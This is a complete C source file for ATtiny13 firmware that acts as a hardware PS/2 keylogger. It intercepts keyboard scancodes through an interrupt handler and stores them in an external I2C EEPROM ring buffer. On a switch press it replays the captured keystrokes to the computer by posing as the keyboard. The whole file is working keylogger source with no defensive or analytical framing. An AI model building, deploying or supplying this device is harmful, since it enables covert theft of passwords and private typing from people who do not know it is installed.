keylogger_tiny13.c

#include <avr/io.h>

#include <avr/interrupt.h>

#include <avr/eeprom.h> 

#include <avr/power.h> 

#include <util/delay.h>

#define WRITE_PERIOD 16

#define EEPROM_ADDR 0b10100000

#define EEPROM_SIZE 0x4000

#define KB_CLOCK  PB1

#define KB_DATA   PB0

#define KB_SWITCH PB2

#define cbi(reg, bit) reg &= ~(1<<bit)

#define sbi(reg, bit) reg |= (1<<bit)

//--i2c

#define I2C_SCL PB3

#define I2C_SDA PB4

#define SCL_L sbi(DDRB, I2C_SCL)

#define SCL_H cbi(DDRB, I2C_SCL)

#define SDA_L sbi(DDRB, I2C_SDA)

#define SDA_H cbi(DDRB, I2C_SDA)

#define SDA_LINE PINB&(1<<I2C_SDA)

//#define I2C_DELAY  _delay_us(5);

//#define I2C_DELAY asm ("nop");

#define I2C_DELAY ;

#define I2C_CLOCK   I2C_DELAY; SCL_H; I2C_DELAY; SCL_L;

#define I2C_START   SDA_L; I2C_DELAY; SCL_L; 

#define I2C_STOP    I2C_DELAY; SCL_H; I2C_DELAY; SDA_H;/* I2C_DELAY;*/

//--

//--kb

#define CLOCK_L sbi(DDRB, KB_CLOCK)

#define CLOCK_H cbi(DDRB, KB_CLOCK)

#define CLOCK_LINE (PINB&(1<<KB_CLOCK))

#define DATA_L sbi(DDRB, KB_DATA)

#define DATA_H cbi(DDRB, KB_DATA)

#define DATA_LINE (PINB&(1<<KB_DATA))

//--

#define _SHIFTDOWN 0x76 //esc 0x04

#define _SHIFTUP 0x78 //f11 0x05

unsigned int _eeprom_start EEMEM = 0x0000;

unsigned int _eeprom_end EEMEM = 0x0000;

unsigned int eeprom_start, eeprom_end;

void putbyte(unsigned char b)

{

  unsigned char m=0x80;

  while(m)

  {

    if(b&m) SDA_H; else SDA_L;

    I2C_CLOCK;

    m>>=1;

  }

  SDA_H;

  I2C_CLOCK;

}

unsigned char getbyte(unsigned char last)

{

  unsigned char i, b=0;

  SDA_H;

  for(i=8; i; i--)

  {

    I2C_DELAY;

    SCL_H;

    b<<=1;

    if(SDA_LINE) b|=1;

    I2C_DELAY;

    SCL_L;

  }

  if(last) SDA_H; else SDA_L;

  I2C_CLOCK;

  SDA_H;

  return b;

}

#define KB_DELAY1 _delay_us(25);

#define KB_DELAY2 _delay_us(15);

#define KB_DELAY3 _delay_us(40);

void send_kb(unsigned char byte)

{

  unsigned char c=0, m=1;

  signed char i;

  while(!CLOCK_LINE) KB_DELAY3;

  for(i=-1; i<10; i++)

  {

    CLOCK_H;

    KB_DELAY1;

    switch(i)

    {

      case -1:

        DATA_L;

        break;

      case 8:

        if(c%2) DATA_L; else DATA_H;

        break;

      case 9:

        DATA_H;

        break;

      default:

        if(byte&m)

        {

          DATA_H;

          c++;

        } else DATA_L;

        m<<=1;

    }

    KB_DELAY2;

    CLOCK_L;

    KB_DELAY3;

  }

  CLOCK_H;

}

void clock_prescale(unsigned char x)

{

  clock_prescale_set(x);

}

void dump_kb()

{

  unsigned int a=eeprom_start;

  unsigned char byte;

  while(a!=eeprom_end)

  {

    if(a==EEPROM_SIZE) a=0;

    clock_prescale(clock_div_8); 

    I2C_START;

    putbyte(EEPROM_ADDR&0xFE);

    putbyte(a>>8);

    putbyte(a);

    SCL_H;

    I2C_START;

    putbyte(EEPROM_ADDR|0x01);

    byte=getbyte(1);

    SDA_L;

    I2C_STOP;

    clock_prescale(clock_div_1);

    a++;

    switch(byte)

    {

      case _SHIFTUP:

        send_kb(0xf0);      

      case _SHIFTDOWN:

        send_kb(0x12);

        break;

      default:

        send_kb(byte);

        send_kb(0xf0);

        send_kb(byte);

    }

  }

  send_kb(0xf0); send_kb(0x12);

}

void save_pointers()

{

  eeprom_write_word(&_eeprom_start, eeprom_start);

  eeprom_busy_wait();

  eeprom_write_word(&_eeprom_end, eeprom_end);

}

void process_data(unsigned char data)

{

  static unsigned char last=0, skip=0, is_up=0, count=0;

  if(data==0xf0) skip=0;

  if(data==0xe0) skip=1;

  if(skip) return;

  if(is_up)

  {

    is_up=0;

    last=0;

    if(data==0x12 || data==0x59) data=_SHIFTUP; else return;

  }

  if(data==0xf0) is_up=1;

  if(data>0x7d || data<0x0d || data==0x11) return;

  if(data==0x12 || data==0x59) data=_SHIFTDOWN;

  if(last==data) return;

  last=data;

  clock_prescale(clock_div_8); 

  I2C_START;

  putbyte(EEPROM_ADDR&0xFE);

  putbyte(eeprom_end>>8);

  putbyte(eeprom_end);

  putbyte(data);

  SDA_L;

  I2C_STOP;

  clock_prescale(clock_div_1);  

  if(++eeprom_end == EEPROM_SIZE) eeprom_end=0;

  if(eeprom_end==eeprom_start)

    if(++eeprom_start == EEPROM_SIZE) eeprom_start=0;

  if(++count==WRITE_PERIOD)

  {

    save_pointers();

    count=0;

  }

}

ISR(INT0_vect)

{

  static unsigned char bit_cnt=0, data=0;

  unsigned char b;

  b=DATA_LINE;

  ++bit_cnt;

  if(bit_cnt==1)

  {

    data=0;

    if(b) bit_cnt=0; 

    return;

  };

  if(bit_cnt==10) return;

  if(bit_cnt==11)

  {

    bit_cnt=0;

    process_data(data);

    return;

  };

  data>>=1;

  if(b) data|=0x80;

}

void main() __attribute__ ((noreturn));

void main()

{

  PORTB=1<<KB_SWITCH;

  GIMSK=(1<<6);  

  MCUCR=0b00000010;

  GIFR=0x40;

  eeprom_start=eeprom_read_word(&_eeprom_start);

  eeprom_busy_wait();

  eeprom_end=eeprom_read_word(&_eeprom_end);

  sei();

  while(1)

  {

    if(!(PINB&(1<<KB_SWITCH)))

    {

      _delay_ms(4000);

      if((PINB&(1<<KB_SWITCH)))

      {

        cli();

        dump_kb();

        sei();

      }

       else

      {

        eeprom_start=eeprom_end=0;

        save_pointers();

      }

    }

  }

}